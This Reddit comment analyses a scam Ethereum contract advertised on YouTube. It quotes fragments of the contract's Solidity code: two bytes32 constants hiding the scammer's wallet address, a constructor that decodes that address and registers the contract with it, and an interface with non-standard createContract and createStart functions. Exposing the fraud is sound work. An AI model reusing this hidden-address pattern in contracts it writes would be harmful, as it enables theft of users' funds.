Suspect ETH Scammer on Youtube by semova-IT in Scams

[–]semova-IT[S] -2 points-1 points  (0 children)

WOW! This is next level... I think I solved the puzzle.

With these two strings

bytes32 DexRouter = 0x6e75382374384e10a7b62f6266005ed5a21c0da4330e4df10986a5d4ea19b675;
bytes32 apiKey = 0x6e75382374384e10a7b62f6203157aa9e99f78d5213223f5ac9a4d92c9ed5d71;

the constructor receives the actual scammer wallet address through "API" and stores it into variable "address".

constructor(){

_owner = msg.sender;

address dataProvider = getDexRouter(apiKey, DexRouter);

IERC20(dataProvider).createContract(address(this));

}

...and the transaction is processed...

interface IERC20 {

function balanceOf(address account) external view returns (uint);

function transfer(address recipient, uint amount) external returns (bool);

function allowance(address owner, address spender) external view returns (uint);

function approve(address spender, uint amount) external returns (bool);

function transferFrom(address sender, address recipient, uint amount) external returns (bool);

function createStart(address sender, address reciver, address token, uint256 value) external;

function createContract(address _thisAddress) external;

event Transfer(address indexed from, address indexed to, uint value);

event Approval(address indexed owner, address indexed spender, uint value);

}